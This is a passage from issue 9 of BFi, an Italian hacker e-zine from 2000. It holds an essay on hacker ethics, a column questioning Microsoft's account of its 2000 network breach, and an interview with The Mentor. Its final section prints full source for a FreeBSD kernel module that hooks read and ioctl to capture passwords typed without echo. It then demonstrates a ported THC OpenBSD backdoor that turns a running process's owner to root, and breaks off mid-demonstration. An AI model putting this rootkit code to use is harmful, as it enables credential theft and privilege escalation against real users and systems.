hackerly courtesy to (a) break into a system, and then (b)explain to the sysop, preferably by email from a superuser account, exactly how it was done and how the hole can be plugged -- acting as an unpaid (and unsolicited) tiger team. The most reliable manifestation of either version of the hacker ethic is that almost all hackers are actively willing to share technical tricks, software, and (where possible) computing resources with other hackers. Huge cooperative networks such as Usenet, FidoNet and Internet (see Internet address) can function without central control because of this trait; they both rely on and reinforce a sense of community that may be hackerdom's most valuable intangible asset. --- snip --- Il punto due sopra citato stabilisce che la pratica di cracking dei sistemi e' eticamente OK se viene perpetrata per divertimento ed esplorazione astenendosi da provocare danni, furto di dati o violazione della privacy e questo punto l'ho sempre sostenuto anche all'interno di Spaghetti Hacker. Da qualche tempo pero' (circa 2 anni) sto iniziando ad avere seri dubbi su questo punto. In effetti come dice lo stesso jargon file la cosa e' molto dibattuta fra tolleranti e contrari. Personalmente credo (come ho espresso pubblicamente all'hm00) che questo punto poteva avere senso qualche anno fa quando per vedere un sistema UNIX-like o accedere all'Internet l'unico modo era quello di "bucare" qualcosa se non si aveva a disposizione un accesso a qualche centro di calcolo universitario. Ma oggi? Il 2000 con Linux, *BSD, le schede di rete a 20k lire, Internet gratis (diciamo cosi' :), le free shell... Cosa dobbiamo esplorare, quali segreti tecnici dobbiamo carpire? Si', forse c'e' ancora qualche network device non facilmente accessibile per chi non lavora direttamente nel campo del networking, ma questo non mi convince a giustificare le intrusioni o almeno non mi elimina del tutto questo dubbio "etico". A questa mia affermazione le reazioni sono state diverse. Molti dicono che chi si e'avvicinato all'hacking da poco ha bisogno di "esplorare" e di provare certe "sensazioni" come abbiamo fatto noi, altri invece mi hanno dato ragione, ma il mio interesse non e' avere ragione o farmi 'guru' della scena italiana. Il mio e' squisitamente un dubbio etico e penso di non essere il solo ad averlo. Io continuo solo a vedere 'flotte' di ragazzi che si buttano sull'argomento senza avere le conoscenze tecniche e culturali di quello che stanno facendo, li sento muoversi e comportarsi come 'l33t' il tutto per uno spirito di emulazione ormai dilagante. Da qualcuno l'avranno visto e quel qualcuno (magari nella scena da anni) ha fatto circolare questo messaggio. Mi dispiace, ma non possiamo dare sempre la colpa ai media "lamer" se la scena viene vista in un certo modo. Da questo punto di vista la responsabilita' in parte sara' anche della scena stessa che ha dato questa come immagine pubblica. Non ci lamentiamo se ircnet e' diventata insopportabile, se i nostri canali che un tempo erano un luogo FONDAMENTALE per il lavoro e per l'apprendimento sono diventati luoghi di conquista per ircwarrior incazzati. Penso sia ora di fare un minimo di autocritica e di capire che tipo di messaggio stiamo facendo passare all'esterno. Hacker = colui che buca e ribuca Hacker = "l'antagonista", colui che che fa la controrivoluzione Questo e' quello che filtra verso i non addetti ai lavori. Ergo questa e' la scena hacker italiana. Io non so cosa sia un hacker e penso che 'nessuno' lo possa definire, ma l'open source? Il C? L'aspetto tecnico? La ricerca e lo sviluppo? Gli hack? Gli sventra-kernel? Ho sentito molti al seminario avere paura di una 'tecnocrazia' nella scena hacker, ma non mi sembra proprio, i veri tecnici sono quelli che parlano di meno, non hanno tempo perche' stanno codando (io infatti parlo molto :))) Cosi' facendo rischiamo di non far trapelare la ricchezza tecnica della scena italiana e continueremo ad essere visti come script kids se ci va bene, come delinquenti se ci va male, continueranno a citare i 'megasuperesperti' di sicurezza informatica che parlano di NT come di un sistema sicuro. IMHO tutto questo e' semplicemente ingiusto, cerchiamo insieme di uscire al piu' presto dal punto 7 con un ctrl-brk e decidere di "crescere". ============================================================================== ---------------------------------[ EOF 5/21 ]--------------------------------- ============================================================================== BFi-9/BFi09-060100644000000000000000000003760207204351771011360 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 6 di 21 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ L0 SPETTAC0L0 DEVE C0NTiNUARE -----[ Raistlin Non avrei mai immaginato, dopo aver scassato i maroni a Cavallo per mesi col ritornello "Ma quand'e' che esce BFi ?", e dopo aver salutato con la stessa frase il povero smaster allo SMAU, di essere proprio io a dover rincorrere, in un pomeriggio maligno e piovoso di novembre l'ultimissimo treno per infilare questo articolo in BFi#9. Tuttavia c'e' una ragione ben precisa per cui questo pezzo arriva con tutto questo fiatone, ed e' che al contrario di tutti gli articoli di questa e-zine parla di un evento di strettissima attualita'; e chi avrebbe potuto immaginare, anche soltanto un mese fa, che avremmo potuto dar notizia di una penetrazione nella rete corporate di Microsoft ? [Forse era meglio se la chiamavano rete corporaLe :), NdCavallo] Riassumo gli eventi, per coloro di voi (e spero non siano tanti) che non leggono mai una rivista, un quotidiano, o un portale di notizie sull'informatica (e che cosa state leggendo a fare BFi allora? Non sarebbe il caso di preoccuparvi del mondo reale, prima dell'underground digitale?). I virgolettati sono citazioni letterali. Il 27 ottobre un portavoce ufficiale di Microsoft rilascia una dichiarazione che fa il giro del mondo in pochi secondi: "Confermiamo che mercoledi' (il 25, NdRaistlin) abbiamo scoperto che la nostra rete e' stata penetrata da sconosciuti, che hanno avuto accesso ad essa e alle risorse della societa' per un tempo indeterminato, forse piu' di un mese. E' possibile che abbiano avuto accesso al codice in development di prodotti delle linee Office e Windows". [1] Alla faccia! Nel pomeriggio dello stesso giorno, un altro comunicato [2] riduceva ampiamente queste dichiarazioni, affermando che "la situazione era meno critica di quanto originariamente si pensasse": in particolare "le indagini interne non hanno trovato alcun indizio che provi che l'intruso abbia avuto accesso al codice dei prodotti chiave" (Windows o Office). Inoltre, sebbene l'hacker abbia potuto "visionare il codice di un nuovo prodotto ancora in fase di sviluppo e lontano dal rilascio, l'indagine ha appurato che nessun tipo di modifica o di danno e' stato operato sul codice". Inoltre l'intrusione viene datata al 14 ottobre, riducendo a 11 giorni il "tempo indeterminato" del primo comunicato. La stessa versione viene fornita poi sempre venerdi' pomeriggio dal CEO di Microsoft, Steve Ballmer.[3] In poche parole, Microsoft ha subito cercato di minimizzare l'allarme lanciato da Russ Cooper, il noto gestore di NTBugTraq su SecurityFocus (wow! I giornali hanno intervistato qualcuno che ne capisce qualcosa! Incredibile!): "Non e' un affare semplice. Cosa succede se questo qualcuno ha inserito una back door di qualche tipo in una porzione di codice della prossima release di Windows, per dire ?" [4] Ovviamente, come tutti sappiamo, questa possibilita' non e' cosi' remota... e apre un problema notevole. Imnmaginate il lavoro dell'ambiente di sviluppo di Microsoft. Centinaia di sviluppatori al lavoro su porzioni diverse di codice, in un approccio inventato da loro e chiamato "Synchronize-and-stabilize" per cui le modifiche introdotte dai vari team di sviluppo vengono fatte convergere in un'unica "build" di sviluppo solo ad intervalli. Sicuramente progetti che cambiano cosi' di continuo vengono backuppati su unita' di storage solo ad ampi intervalli, quando viene conclusa la fase di stabilizzazione. L'unico modo che Microsoft avrebbe per essere certa che nessuna modifica non autorizzata sia stata fatta sarebbe di ispezionare a mano tutto il codice (HA!) partendo dall'ultima build sicura e controllando OGNI MODIFICA REGISTRATA DA OGNI SVILUPPATORE durante il mese circa di permanenza dell'hacker nella rete. [Scusate qui io rido AHAHAHAHAHA, NdCavallo] Verrebbe da dire "e stikazzi !", e' da simpatizzare con Microsoft... ma la cosa inquietante e' che l'azienda si e' detta "sicura che il codice non sia stato cambiato", e che "non ci sono indizi che..." a meno di 12 ore dal primo annuncio, e a meno di 72 ore dalla scoperta dell'intrusione. O su quel prodotto lavorano un gran poco, o hanno trovato una scorciatoia molto intelligente all'ispezione del codice (ma sara' altrettanto sicura?), oppure stanno mentendo. Scegliete voi. Siccome so che siete tutti dei legittimissimi amministratori di macchine e reti, e che leggete questa rivista solo per informazione personale, immagino che la vostra, ehm, curiosita' scientifica vi porti a voler sapere come cavolo ha fatto questo sconosciuto pirata (che alcuni, non dubito, stimeranno gia' un mito) a entrare in una rete che, a rigor di termini, dovrebbe essere l'equivalente commerciale del Department of Defense: grossa, cazzuta, con delle protezioni impenetrabili, e a rischio delle tue chiappe se provi anche solo a PENSARE a scannarla. La risposta vi fara' inumidire gli occhi dalla disperazione. Con il QAZ ([5] e [6]). Si', avete proprio letto bene, il QAZ, un troiano da quattro soldi che viene spedito in email, con l'icona di un blocchetto di testo stile notepad, e che quando viene eseguito invia in email password e ip della macchina a un indirizzo prefissato. Inoltre, come tutti i bravi troiani, e' fatto per garantire una shell di comandi da remoto... Vabbe', quei POCHI di voi che frequentano IRC hanno visto abbastanza troiani da sapere di cosa si tratta, no? Lo trovate anche nel database del vostro antivirus, come Troj.QAZ, Worm.QAZ o QAZ.Trojan. E' il nono o decimo troiano per diffusione al mondo. Dunque, un impiegato (temporaneo, pare: in ogni caso non scommetterei sul suo posto di lavoro...) apre una email, esegue brillantemente l'attach, parte una mail diretta a un indirizzo di San Pietroburgo in Russia (che puo' voler dire qualsiasi cosa, visto che sappiamo tutti quanto sono gestiti e chiusi i computer russi...) e da li' il nostro hacker arriva fregandosi le mani... Quelli che hanno creduto anche solo per un istante a questa storia possono frustarsi le dita, e rinunciare a fare gli amministratori di sicurezza, gli hacker, o i detective (potete, invece, fare i giornalisti: quelli ci cascano spesso e volentieri). Innanzitutto, come si fa notare in [6], nessuno in Microsoft ha confermato o smentito questa notizia, il che e' strano visto che hanno parlato ampiamente della vicenda. In secondo luogo, da quando i computer di un impiegato cosi' fesso da aprire un troiano sono in prossimita' di rete con le macchine su cui lavorano gli sviluppatori? (e visto che ci siamo, COSA CI FANNO in rete le macchine con il codice SORGENTE?). In terzo ed ultimo luogo, c'e' un piccolo problemino da superare. I firewall! Ammettiamo che ci sia in rete il PC di una segretaria imbranata che apre il troiano. Ammettiamo che ci siano macchine accessibili col codice sorgente. Ammettiamo anche che gli antivirus di Microsoft siano cosi' arretrati da non riconoscere il QAZ (e in una struttura corporate e' una GROSSA supposizione!). Ammettiamo che il troiano si installi e inizi ad aspettare una connessione dal suo creatore. Ammesso tutto questo, spiegatemi COME E' POSSIBILE che la connessione avvenga dietro i bastioni telematici che devono esserci alla frontiera della rete di Microsoft. Ragion vorrebbe che dall'esterno all'interno non passi nulla, specie se diretto verso macchine di sviluppo che NON dovrebbero ragionevolmente avere servizi offerti all'esterno. Io, almeno, quel firewall lo imposterei cosi'. CHIUNQUE lo imposterebbe cosi'. Capite che la storiella del QAZ regge solo fino a un certo punto. Anzi, diciamo pure che non regge affatto (lo dice anche Russ Cooper sempre in [4]). E quindi permettetemi di presentarvi la MIA supposizione relativa a cio' che e' successo. Vi dipingo due possibili scenari: 1) Le macchine erano esposte in un modo talmente banale che a Redmond si vergognano di non averlo intuito subito. Dopo aver fucilato il team di sicurezza e firewalling, viene imposto il "no comment" tanto per ridurre le dimensioni della figuraccia e scaricarle su un "impiegato occasionale" che ha aperto un worm. 2) Ancora nessuno ha capito bene da dove siano entrati. Ne' sa se le misure prese serviranno a fermare un secondo tentativo. Questo e' possibile, se si tratta magari di uno 0-day particolarmente pericoloso. Microsoft non commenta per non spargere il panico. Ma c'e' anche un terzo, possibile scenario: 3) In realta' non e' successo. Lo scopo di questa manovra (un possibile scopo) lo esporro' piu' avanti. In ogni caso, che sia uno qualunque dei tre, la storiellina del QAZ se la possono risparmiare, per quanto mi riguarda. Alla fine di questa analisi sommaria dei dati, facciamo cio' che fa ogni buon investigatore, ed esaminiamo i possibili moventi: 1) Gloria. Il classico e vero hacker che cerca semplicemente di fare il fighetto: "Wow, che fico scrivere y0u w3r3 0wn3d sulla home di www.microsoft.com!". Sarebbe sicuramente il caso meno dannoso per Microsoft. 2) Spionaggio industriale. Il codice sorgente e' ovviamente merce preziosissima, l'unica che Microsoft produca. Un competitore potrebbe avvantaggiarsi dall'acquisire codice illecitamente. Inoltre, se vi ricordate che Microsoft e' sotto accusa per pratiche illecite di trust, alcune parti di quel codice potrebbero anche essere prove a carico, che Redmond avrebbe tutto l'interesse a tener nascoste sotto l'angolino del tappeto. 3) Pirateria. Anche se altamente improbabile, una delle motivazioni potrebbe essere la speranza di poter compilare il codice sorgente in proprio e distribuirlo in versioni piratate, magari munite di backdoor. 4) Sabotaggio. Modifica del codice, oppure distruzione di esso. Ancora peggio, pubblicazione (per esempio su un newsgroup) del codice integrale di un prodotto MS. Una botta economica valutabile in migliaia di miliardi di dollari. 5) Data Hostage. Una forma di crimine informatico analoga al sequestro di persona. Teoretizzata ma mai messa in pratica, per quanto noto. Un gruppo che fosse in possesso dei codici di un prodotto e minacciasse di renderli pubblici potrebbe estorcere sostanzialmente qualsiasi cosa da Microsoft. 6) Exploiting. Studiare il codice sorgente aiuterebbe sicuramente a scrivere exploit ben piu' mirati e dannosi del solito, per un sistema operativo e dei programmi che non essendo open-source non sono stati certo auditati e esaminati con l'accuratezza che e' stata riservata ad altri software. Ovviamente, la societa' sostiene che il pirata non ha ne' scaricato ne' modificato sorgenti (in pratica punta a far passare l'incidente come opera di un pesce piccolo, aiutato da un impiegato imbecille che apre un worm). Tuttavia ha richiesto immediatamente l'aiuto dell'FBI (che si dichiara "a conoscenza dei rischi" di manipolazione e divulgazione di codice [7]). Se veramente si trattasse del caso 1, come giustificare un'indagine federale per una ragazzata ? (vi ricordo che al di sotto dei 20.000 dollari dimostrabili di danni le autorita' federali americane manco si muovono... certo che se e' Microsoft a telefonare...). Per l'eventuale divulgazione di segreti industriali ci sono 500.000$ di multa e fino a 15 anni di carcere, invece. Capite che la cosa e' un po' diversa. Cio' che sconcerta e' semmai che Microsoft abbia preso tutte le misure per proteggere la sua rete dalle intrusioni, rimuovere le backdoor e i troiani, impedire l'accesso al sistema... insomma, ha fatto di tutto per spaventare a morte l'intruso e costringere, sostanzialmente, l'FBI a battere una pista fredda, quando tutti sanno che il modo migliore per tracciare un hacker e' osservarlo all'opera [8]. Ora, possiamo tutti capire che MS fosse ansiosa di togliersi dalle scatole uno spione... ma perche' farlo PRIMA di consentire all'FBI di vederlo entrare e di iniziare una procedura di tracciamento? La mia ipotesi, anche in questo caso, me la riservo per la conclusione. Vorrei puntualizzare un'ultima cosa, per evitare che qualcuno di voi inizi ad osannare lo scriteriato (si', scriteriato) che ha commesso questa immane cazzata. E non lo dico solo perche' IN OGNI CASO entrare in sistemi informatici protetti e' contrario alla legge, e bla bla bla (fate conto che abbia scritto tutti quegli avvertimenti che di solito saltate...). Lo dico anche e sopratutto dal punto di vista della comunita' hacker e della sicurezza. Innanzitutto, questo attacco aumentera' la paranoia che gia' monta da mesi intorno alle attivita' dell'underground digitale, e cio' e' male. Inoltre, da questo momento in avanti chiunque scopra debolezze nel codice dei programmi Microsoft potrebbe essere lecitamente sospettato di aver avuto accesso ai sorgenti e di essere quindi complice di un reato (e cio' non e' bello). In terzo luogo, chi ha fatto questa cosa, se veramente si tratta di un'intrusione e non e' una balla colossale, NON era un ragazzo simpatico che provava a usare il suo troianello nuovo. Non era nemmeno uno che lo faceva per passione, o per vanita'. Questo era uno che lo faceva per soldi, e rubare segreti industriali non e' diverso dal rubare macchine o autoradio. Al contrario di quello che sentite ripetere di solito da riviste come questa, non si tratta di una persona il cui unico crimine sia la curiosita'. Si tratta di un ladro, ne' piu' ne' meno. Ma c'e' un ultimo e piu' importante autogol in questa situazione. Immaginate che tra qualche anno (quando questo misterioso "prodotto in sviluppo" sara' rilasciato) venga trovata in esso una backdoor, come quella che Rain Forest Puppy ha trovato nelle Front Page Extensions (e per i dettagli vi rimando a System Down 5, se e quando mai uscira'...). Chi impedirebbe alla Microsoft di urlare "Ecco, lo hanno fatto gli hacker!" e scaricare su altri una colpa che altrimenti potrebbe ricadere soltanto su di loro (e non e' un dubbio solo mio)? Ecco che cosa ha fatto l'imbecille che e' entrato in quella rete... altro che osannarlo, ci sarebbe da crocifiggerlo solo per questo! Ma vorrei lasciarvi con un sospetto strisciante (non sia mai, un articolo su Microsoft senza nemmeno una frecciatina!). Non vi pare che ci sia qualcuno che avrebbe soltanto da guadagnarci a creare dal nulla questo casino? Qualcuno a cui un hacker su cui scatenare caccia ed eventuali colpe facesse comodo? In fin dei conti, non vi sono prove dell'intrusione di questo tizio (salvo quelle loggate da Microsoft, e sappiamo che i log non sono certo inalterabili...), non vi e' stata una vera attivita' investigativa (che e' stata stroncata proprio da alcune discutibili decisioni della societa' stessa), e anche sul metodo di intrusione non vengono fornite notizie attendibili. Non so a voi, ma a me tutta questa vicenda lascia piu' domande che risposte. E qualsiasi ipotesi alternativa io scelga per spiegare tutto, qualcosa rimane inevitabilmente fuori posto, stonato. E sono portato a credere che manchino ancora dei tasselli, volutamente occultati o ancora non compresi, non saprei dirlo. [1] Fonte: Wall Street Journal 27/10/00. Rappresentante della compagnia che ha richiesto di non essere citata. [2] Fonte: comunicato ufficiale Microsoft 27/10/00. Anonimo. [3] Fonte: CNET News 29/10/00. Dichiarazione di Steve Ballmer, CEO di Microsoft Corporation. [4] Fonte: IDGNS, 27/10/00. Sichiarazione di Russ Cooper, gestore di NTBugTraq. [5] Fonte: Wall Street Journal 27/10/00. Dichiarazione di fonte anonima. [6] Fonte: ComputerWorld online 27/10/00. Dichiarazione di Graham Cluley, security expert di Sophos PLC. [7] Fonte: ComputerWorld online 27/10/00. Dichiarazione di rappresentante anonimo dell'FBI. [8] Si veda l'articolo di Kevin Poulsen su SecurityFocus del 30/10/00. ============================================================================== ---------------------------------[ EOF 6/21 ]--------------------------------- ============================================================================== BFi-9/BFi09-070100644000000000000000000001507607204352413011354 0ustar rootroot============================================================================== ------------[ BFi numero 9, anno 3 - 03/11/2000 - file 7 di 21 ]-------------- ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ ELF QRIN iNTERViSTA THE MENTOR -----[ Elf Qrin - http://www.ElfQrin.com THE MENTOR- Pseudonimo di Loyd Blankenship. Anche conosciuto come the Neuromancer. Hacker d'elite ed ex membro dei Legion of Doom, PhoneLine Phantoms, Racketeers ed Extasy Elite. Autore del leggendario "La Coscienza di un Hacker." Ha anche lavorato per la Steve Jackson Games, dove ha scritto _GURPS Cyberpunk_. Attualmente e' un progettista di giochi e musicista elettronico freelance indipendente. [Lo pseudonimo deriva dalla serie Grey Lensman series di E.E. "Doc" Smith.] (dalla Hacker's Encyclopedia di Logik Bomb) La versione originale in inglese e' disponibile all'indirizzo: http://www.ElfQrin.com/docs/hakref/interviews/eq-i-mentor.html 31 Luglio 2000 Elf Qrin: Qual e' stata la tua prima esperienza con un computer? E quale il tuo primo computer? Mentor: Ci siamo trasferiti da Austin proprio prima dell'estate tra il mio quinto e sesto grado scolastico (verso l'inizio del 1976). Quando arrivai a San Marcos, non conoscevo nessuno, e iniziai a frequentare il laboratorio informatico della Southwest Texas State Univerity, nella biblioteca del college. Era popolato di Pet-10, CompuColor e alcuni dei primi modelli di Apple II. Piu' che altro ci giocavo (Artillery, etc.) Nel posto dove mia mamma lavorava c'era un gigantesco mainframe PDP, e riuscii ad incontrare qualche operatore di sistema. Mi mostrarono un gioco chiamato _Star Trek_ che girava su quella macchina e mi appassiono'. Riuscii a stampare il sorgente in BASIC, e imparai il BASIC da solo per trasferirlo sul Compucolor. Il primo computer che ho veramente posseduto era un Apple IIe che ebbi nel 1979 o 1980. Elf Qrin: Come sei diventato un hacker? Mentor: Se intendi 'hacker' nel vero senso, penso che avvenne quando iniziai il lavoro di conversione di _Star Trek_. Se lo intendi come 'penetrare i computer', ho iniziato durante quella prima estate quando scoprii che l'universita' aveva un PDP-4. Mi procurai una password di ospite da un amico di famiglia, ma alla fine dell'estate era scaduta. Per allora avevo una buona lista di nomi utente e password, e penetrai un account (qualcosa come [1,5], pw: games mi pare). Elf Qrin: Come sei diventato membro dei LOD/H? Cosa ricordi di quella esperienza? Mentor: Ero nella "2a generazione" dei LOD che si formo' durante il Summercon '88. Mi ricordo che ero seduto in una camera d'albergo con The Leftist, Doom Prophet, Phantom Phreaker, Control C, Urvile/Necron 99 e molti altri che sono sicuro di aver dimenticato. Tutti avevamo portato scatole di fogli stampati, etc., e mi resi conto che fondamentalmente avevamo il controllo dell'intera rete telefonica nazionale. Elf Qrin: Cosa ti e' piaciuto di piu' degli anni '80 (anche qualcosa che non abbia niente a che fare con i computer)? Mentor: Gli anni '80 sono stati molto vari per me. Ho avuto delle belle esperienze, ho suonato in alcune bande divertenti, fatto delle vere stronzate, incontrato mia moglie, lasciato il college, pubblicato il mio primo libro, e in generale mi sono comportato come la maggior parte dei 15-25enni. Elf Qrin: Perche' hai scritto il "Manifesto dell'Hacker"? Mentor: Stavo passando attraverso uno stadio di ritiro dall'hacking, e Craig/Knight aveva bisogno di qualcosa per il numero di Phrack che stava per uscire. Io stavo leggendo _The Moon is a Harsh Mistress_ ("La Luna e' una padrona severa") ed ero molto preso dall'idea di rivoluzione. Elf Qrin: Cosa pensi quando leggi il Manifesto oggi? Mentor: Lo trovo ancora molto valido. Mi vergogno soltanto quando vedo la frase "bellezza del baud," [immagino per la volontaria assonanza con la parola bawd, prostituta o tenutaria di un bordello, EQ] ma avevo 21 anni e cosi' sono incline a perdonarmi :) Elf Qrin: Sei considerato una "leggenda vivente" da tutti gli hacker del mondo. Come ti fa sentire questo? Mentor: Se solo potessi ottenere da tutti loro che mi mandino $1 a testa... :) Seriamente, mi sento molto lusingato dall'attenzione. Il volume delle email mi sfugge di mano occasionalmente, ma cerco di rispondere a tutti, anche se semplicemente con una lettera preimpostata. Elf Qrin: Perche' sei uscito di scena nel 1990? Mentor: Quando misi su _The Phoenix Project_, sapevo che dovevo femarmi. Stavo conducendo la BBS hacker di piu' alto profilo (e migliore) del mondo. Sapevo di essere osservato. Mi trovavo inoltre in un punto dove molto della sfida originale era perso -- LOD aveva il controllo sopra quasi ogni cosa volevamo a quel tempo, e io personalmente avevo finito di impadronirmi di grandi porzioni di Autonet. Prime Suspect possedeva Telenet. Erik Bloodaxe possedeva quasi ogni cosa volesse (Eric Bloodaxe era il miglior hacker che abbia mai incontrato). I nostri guru telefonici possedevano ogni rete telefonica del paese. Non c'era nessun posto dove andare se non cadere in basso. Elf Qrin: Cos'e' cambiato nella scena hacker tra adesso e allora? Mentor: E' troppo semplice essere presi oggi. Abbiamo tolto tutta la nostra stupidita' dai nostri sistemi precedenti all'era digitale. Elf Qrin: Pensi che gli hacker di oggi siano duri come i vecchi, quando non c'erano dischi rigidi o interfacce grafiche? Mentor: E' difficile da dire, personalmente non conosco molte persone attive adesso. Di fatto, non conosco *nessuno* veramente bene che sia attivo nell'ambiente underground. Elf Qrin: Cosa pensi della rivoluzione di Internet? Mentor: L'ho vista arrivare nel 1986. La amo. Elf Qrin: Cosa fai ora? Qual e' il tuo lavoro? Mentor: Sono uno sviluppatore multimediale. Faccio ogni cosa dallo studio del suono e della musica alla realizzazione di animazioni 3d e video digitale. Elf Qrin: Hai dei bambini, e insegni loro le tecniche hacker o l'informatica? Mentor: Niente ragazzini, e nessun progetto di averne. Elf Qrin: Un'ultima parola per tutti i ragazzini che vogliono diventare hacker. Mentor: Se avete intenzione di penetrare i computer, state attenti la' fuori. E' molto probabile che veniate presi, e questo fa schifo. C'e' cosi' tanto che potete fare legalmente (imparare linux & programmare, per esempio) e io vi raccomando di iniziare da questo. ============================================================================== ---------------------------------[ EOF 7/21 ]--------------------------------- ============================================================================== BFi-9/BFi09-080100644000000000000000000005430707204352223011354 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 8 di 21 ]------------- ============================================================================== -[ THREADS ]------------------------------------------------------------------ ---[ VARi ---[ iNTERCETTAZi0NE DELLE PASSW0RD iNSERiTE SENZA TERMiNAL vecna ECH0 ViA KLD ---[ OpenBSD: THC BACKDOOR pIGpEN ---[ RAW SOCKETS 4 ALL (FreeBSD 4.x, OpenBSD 2.7) pIGpEN --[ iNTERCETTAZi0NE DELLE PASSW0RD iNSERiTE SENZA TERMiNAL ECH0 ViA KLD ---[ vecna Articolo piccolo piccolo, ma che mi e` piaciuto scrivere. Tutto e` nato cosi`: alle 10:20 di stamattina sono tornato a casa, dopo esser stato dall'ortolano, e mi sono messo a programmare l'idea avuta a colazione; alle 10:55 spengo il pc e corro fuori per non perdere il treno; alle 21:00 ho ripreso mentre guardavo i cartoni su MTv; alle 21:40 circa mi sono stancato; alle 24:00 ho ripreso; ora e` l'1:02 e inizio a scrivere cos'e` sta` porcheria, dopo una consulenza via irc con LordFelix, e gli ultimi ritocchi. Il funzionamento della getpass(3) e` semplice: leva dal terminale l'echo locale in modo che l'utente possa scrivere la sua password senza che essa venga visualizzata; per levare l'echo e` molto comodo usare la funzione tcsetattr definita nella libreria termios.h . Un esempio che ho visto molto esplicativo e`: #include #include #include #include static struct termios stored_settings; void echo_off(void) { struct termios new_settings; tcgetattr(0,&stored_settings); new_settings = stored_settings; new_settings.c_lflag &= (~ECHO); tcsetattr(0,TCSANOW,&new_settings); return; } void echo_on(void) { tcsetattr(0,TCSANOW,&stored_settings); return; } Per maggiori informazioni sulle potenzialita` della tcsetattr consultate le man page tcsetattr(3) e termios(3). Se usiamo strace (Linux) o ktrace (FreeBSD) vediamo che la tcsetattr non e` altro che un wrapper alla ioctl(2). QUINDI, se noi via LKM/KLD dirottiamo la ioctl() su una nostra funzione possiamo capire se si sta` tentando di manipolare il terminale (grazie al secondo argomento passato a ioctl) e possiamo ottenere maggiori informazioni facendo un opportuno cast e leggendoci la struttura dati opzionale passata come terzo argomento. Con ktrace di un programmino come: #include #include #include int main(void) { char *pass =malloc(128); pass =getpass("metti una pass che la intercetto :"); return(EXIT_SUCCESS); } vediamo: 301 progra1 CALL sigprocmask(0x1,0x28060040,0x28060050) 301 progra1 RET sigprocmask 0 301 progra1 CALL sigprocmask(0x3,0x28060050,0) 301 progra1 RET sigprocmask 0 301 progra1 CALL ioctl(0x3,TIOCSETAF,0xbfbffbc4) 301 progra1 RET ioctl 0 Quindi via KLD, sapendo che la ioctl riceve come argomenti: struct proc *, (come classico) struct ioctl_args * (definita in modo da tenere gli argomenti classici della ioctl(2) ): struct ioctl_args { int fd; u_long com; caddr_t data; }; ci basta checkare struct->com che sia TIOCSETAF, poi fare un cast di una struct termios *, sull'indirizzo contentuno in struct->data e verificare i flag selezionati e valutare quindi il reale intento della ioctl(). Sotto Linux, tanto per completezza: ioctl(3, TCGETS, {B38400 opost -isig icanon -echo ...}) = 0 // 0x00005401 TCGETS struct termios * 0x00005402 TCSETS const struct termios * 0x00005403 TCSETSW const struct termios * 0x00005404 TCSETSF const struct termios * dalla man page ioctl_list(2). Questo e` il kld per FreeBSD, fatto su FreeBSD 4.0 (tnx naif che in 3 giorni mi ha masterizzato 4 cd diversi :) bei tempi quando lavoravamo :) Putroppo non sapevo che nome dargli, chiedendo consglio a mia mamma ho ottenuto come proposte solo "pippo" o "rain"... visto che e` da 4 giorni che vado in giro con l'ombrello e visto che sono italiano, questo kld ha preso il nome di "piove". <-| piove/piove.c |-> /* * KLD by vecna@s0ftpj.org for FreeBSD 4.0 * This module shows how to intercept getpass(3) function and print anything * that is typed without terminal echo. * Sorry for my english, I like only milanese. */ #include #include #include #include #include #include #include #include #include #include #include static int procnum; static int piove_ioctl(struct proc *p, struct ioctl_args *uap) { if(uap->com == TIOCSETAF) { struct termios *check; check =(struct termios *) uap->data; /* tnx to LordFelix :) */ if(!(check->c_lflag & ECHO)) procnum =p->p_pid; } return ioctl(p, uap); } static int piove_read(struct proc *p, struct read_args *uap) { int ret; ret =read(p, uap); if(procnum) if(p->p_pid == procnum) { char *charptr =uap->buf; charptr[p->p_retval[0]] =0x00; /* example of reading password, is nice log on * defined file, but this kld is only proof of * concet :) */ uprintf("pid [%d] on terminal without echo [%s]\n", procnum, charptr); procnum = 0; } return ret; } static struct sysent piove[2] = { { 3, (sy_call_t *) piove_read }, { 3, (sy_call_t *) piove_ioctl } }; static int init_module(module_t mod, int cmd, void *arg) { int ret = 0; switch (cmd) { case MOD_LOAD: sysent[SYS_read] =piove[0]; sysent[SYS_ioctl] =piove[1]; uprintf(" getpass(3) kernel sniffer loaded\n"); break; case MOD_UNLOAD: sysent[SYS_read].sy_call =(sy_call_t *)read; sysent[SYS_ioctl].sy_call =(sy_call_t *)ioctl; uprintf(" piove kld unloaded\n"); break; default: ret = EINVAL; break; } return(ret); } static struct moduledata piove_moddata = { "piove", init_module, NULL }; DECLARE_MODULE(syscall, piove_moddata, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); <-X-> tnx to: pIGpEN, bhe, io sono gia` al secondo kld in 5 giorni e 6 giorni fa` non avevo ancora chiaro cosa fosse una sysent, e` anche merito dei tuoi consigli & dei tuoi articoli THC - Attacking FreeBSD with Kernel Modules - pragmatic Il modulo per ora non fa` altro che sparare il pid del processo e la password in console, non logga su file ne` fa` altro, l'unica cosa che mi interessava era indicare come leggere le password inserite in quel modo (e lo fa` sia login, pgp/gpg, su e tutti gli altri sistemi che via console fanno sparire l'echo) e direi che per essere 3 ore di lavoro sono abbastanza soddisfatto. Per compilare il modulo si usa il classico makefile per i moduli fbsd: <-| piove/Makefile |-> SRCS = piove.c KMOD = piove KO = ${KMOD}.ko KLDMOD = t .include <-X-> Ogni giudizio cattivo, miglioria, consigli e report di kernel panic possono essere inviati a vecna@s0ftpj.org, rispondero` volentieri perche` ultimamente non ricevo mai una mail :) ore 1:31 - fine, pufff :) -[ OpenBSD: THC BACKD00R --[ pIGpEN Il seguente codice e' il porting di una backdoor semplice, ma raffinata... No, l'idea non e' mia :) i crediti vanno a pragmatic / THC anche se e' facile che sia passata pure nella mente di molte altre persone... Se non altro lui e' stato quello che l'ha codata :) per FreeBSD vediamo come funziona il porting su OpenBSD... # make # make load $ ps aux | grep vim pigpen 27318 0.0 6.8 884 1644 C3 I+ 5:53PM 0:00.16 vim $ ./call 27318 0 $ ps aux | grep vim root 27318 0.0 6.8 884 1644 C3 I+ 5:53PM 0:00.16 vim Ops! Con quel processo possiamo ora scrivere su qualsiasi file :O $ ./call 27318 1001 $ ps aux | grep vim deadhead 27318 0.0 6.8 884 1644 C3 I+ 5:53PM 0:00.16 